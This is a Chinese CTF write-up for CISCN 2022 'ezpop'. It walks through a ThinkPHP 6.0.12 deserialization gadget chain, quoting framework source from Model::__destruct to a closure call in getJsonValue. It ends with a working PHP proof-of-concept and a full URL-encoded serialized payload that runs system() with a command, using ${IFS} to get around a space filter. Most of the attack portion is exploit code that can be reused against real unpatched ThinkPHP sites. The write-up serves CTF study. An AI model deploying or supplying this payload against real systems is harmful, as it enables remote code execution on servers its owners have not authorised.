[CISCN 2022 初赛]ezpop
ThinkPHP V6.0.12LTS 反序列化漏洞
dirsearch扫描发现源码泄露

在www/vendor/topthink/think-orm下,有__destruct入口

接下来跟进save方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| public function save(array $data = [], string $sequence = null): bool { $this->setAttrs($data);
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) { return false; }//需要绕过这个条件
$result = $this->exists ? $this->updateData() : $this->insertData($sequence); //让this->exists为真,触发updateData if (false === $result) { return false; }
$this->trigger('AfterWrite');
// 重新记录原始数据 $this->origin = $this->data; $this->get = []; $this->lazySave = false;
return true; }
|
第一个条件:需要isEmpty()为假,跟进isEmpty方法
public function isEmpty(): bool
{
return empty($this->data);
}
$this->data存在且不为空时时,empty()的值为false,isEmpty返回false
这时就满足了第一个条件
第二个条件:$this->trigger(‘BeforeWrite’)不为假,跟进trigger
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| protected function trigger(string $event): bool { if (!$this->withEvent) { return true; }
$call = 'on' . Str::studly($event);
try { if (method_exists(static::class, $call)) { $result = call_user_func([static::class, $call], $this); } elseif (is_object(self::$event) && method_exists(self::$event, 'trigger')) { $result = self::$event->trigger('model.' . static::class . '.' . $event, $this); $result = empty($result) ? true : end($result); } else { $result = true; }
return false === $result ? false : true; } catch (ModelEventException $e) { return false; } } }
|
需要让this->withEvent为false,
在save()中三目运算符让$this->exists触发updateData
跟进updateData
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| protected function updateData(): bool { // 事件回调 if (false === $this->trigger('BeforeUpdate')) { return false; }
$this->checkData();
// 获取有更新的数据 $data = $this->getChangedData();
if (empty($data)) { // 关联更新 if (!empty($this->relationWrite)) { $this->autoRelationUpdate(); }
return true; }
if ($this->autoWriteTimestamp && $this->updateTime) { // 自动写入更新时间 $data[$this->updateTime] = $this->autoWriteTimestamp(); $this->data[$this->updateTime] = $data[$this->updateTime]; }
// 检查允许字段 $allowFields = $this->checkAllowFields();
foreach ($this->relationWrite as $name => $val) { if (!is_array($val)) { continue; }
foreach ($val as $key) { if (isset($data[$key])) { unset($data[$key]); } } }
// 模型更新 $db = $this->db();
$db->transaction(function () use ($data, $allowFields, $db) { $this->key = null; $where = $this->getWhere();
$result = $db->where($where) ->strict(false) ->cache(true) ->setOption('key', $this->key) ->field($allowFields) ->update($data);
$this->checkResult($result);
// 关联更新 if (!empty($this->relationWrite)) { $this->autoRelationUpdate(); } });
// 更新回调 $this->trigger('AfterUpdate');
return true; }
|
需要传入不为空的data,之后进入$allowFields = $this->checkAllowFields();
由于data是由getChangedData写入,跟进getChangedData,在src/model/concern/Attribute.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| public function getChangedData(): array { $data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) { if ((empty($a) || empty($b)) && $a !== $b) { return 1; }
return is_object($a) || $a != $b ? 1 : 0; });
// 只读字段不允许更新 foreach ($this->readonly as $key => $field) { if (array_key_exists($field, $data)) { unset($data[$field]); } }
return $data; }
|
最终$data为非空值,进入$allowFields = $this->checkAllowFields();
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| protected function checkAllowFields(): array { // 检测字段 if (empty($this->field)) { if (!empty($this->schema)) { $this->field = array_keys(array_merge($this->schema, $this->jsonType)); } else { $query = $this->db(); $table = $this->table ? $this->table . $this->suffix : $query->getTable();
$this->field = $query->getConnection()->getTableFields($table); }
return $this->field; }
$field = $this->field;
if ($this->autoWriteTimestamp) { array_push($field, $this->createTime, $this->updateTime); }
if (!empty($this->disuse)) { // 废弃字段 $field = array_diff($field, $this->disuse); }
return $field; }
|
$this->schema空,执行else语句,查看db()函数
1 2 3 4 5 6 7 8 9 10 11 12
| public function db($scope = []): Query { $query = self::$db->connect($this->connection) ->name($this->name . $this->suffix) ->pk($this->pk);
if (!empty($this->table)) { $query->table($this->table . $this->suffix); }
}
|
实现了table和suffix的拼接,寻找__toString方法
www/vendor/topthink/think-orm/src/model/concern/Conversion.php中存在,调用了toJson(),tojson就在toString上面
1 2 3 4
| public function toJson(int $options = JSON_UNESCAPED_UNICODE): string { return json_encode($this->toArray(), $options); }
|
toArray:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
| public function toArray(): array { $item = []; $hasVisible = false;
foreach ($this->visible as $key => $val) { if (is_string($val)) { if (strpos($val, '.')) { [$relation, $name] = explode('.', $val); $this->visible[$relation][] = $name; } else { $this->visible[$val] = true; $hasVisible = true; } unset($this->visible[$key]); } }
foreach ($this->hidden as $key => $val) { if (is_string($val)) { if (strpos($val, '.')) { [$relation, $name] = explode('.', $val); $this->hidden[$relation][] = $name; } else { $this->hidden[$val] = true; } unset($this->hidden[$key]); } }
// 合并关联数据 $data = array_merge($this->data, $this->relation);
foreach ($data as $key => $val) { if ($val instanceof Model || $val instanceof ModelCollection) { // 关联模型对象 if (isset($this->visible[$key]) && is_array($this->visible[$key])) { $val->visible($this->visible[$key]); } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) { $val->hidden($this->hidden[$key]); } // 关联模型对象 if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) { $item[$key] = $val->toArray(); } } elseif (isset($this->visible[$key])) { $item[$key] = $this->getAttr($key); } elseif (!isset($this->hidden[$key]) && !$hasVisible) { $item[$key] = $this->getAttr($key); }
if (isset($this->mapping[$key])) { // 检查字段映射 $mapName = $this->mapping[$key]; $item[$mapName] = $item[$key]; unset($item[$key]); } }
// 追加属性(必须定义获取器) foreach ($this->append as $key => $name) { $this->appendAttrToArray($item, $key, $name); }
if ($this->convertNameToCamel) { foreach ($item as $key => $val) { $name = Str::camel($key); if ($name !== $key) { $item[$name] = $val; unset($item[$key]); } } }
return $item; }
|
调用了getAttr
1 2 3 4 5 6 7 8 9 10 11
| public function getAttr(string $name) { try { $relation = false; $value = $this->getData($name); } catch (InvalidArgumentException $e) { $relation = $this->isRelationAttr($name); $value = null; }
return $this->getValue($name, $value, $relation);
|
跟进getvalue并跟进getJsonValue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| protected function getJsonValue($name, $value) { if (is_null($value)) { return $value; }
foreach ($this->withAttr[$name] as $key => $closure) { if ($this->jsonAssoc) { $value[$key] = $closure($value[$key], $value); } else { $value->$key = $closure($value->$key, $value); } }
return $value; }
|
让jsonAssoc为1,之后进行RCE利用
利用链Model::__destuct()->Model::save()->Model::updateData()->Model::checkAllowFields()->Model::db()->toString()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| <?php
namespace think { abstract class Model { private $lazySave = false; private $data = []; private $exists = false; protected $table; private $withAttr = []; protected $json = []; protected $jsonAssoc = false;
public function __construct($obj = '') { $this->lazySave = true; $this->data = ['whoami' => ['cat${IFS}$9/nssctfflag']]; $this->exists = true; $this->table = $obj; $this->withAttr = ['whoami' => ['system']]; $this->json = ['whoami']; $this->jsonAssoc = true; } } }
namespace think\model { use think\Model; class Pivot extends Model { } }
namespace { $p = new think\model\Pivot(new think\model\Pivot()); echo urlencode(serialize($p)) . "\n"; }
|
payload:url/index/test
a=O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A22%3A%22cat%24%7BIFS%7D%249%2Fnssctfflag%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A22%3A%22cat%24%7BIFS%7D%249%2Fnssctfflag%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7D
注意空格绕过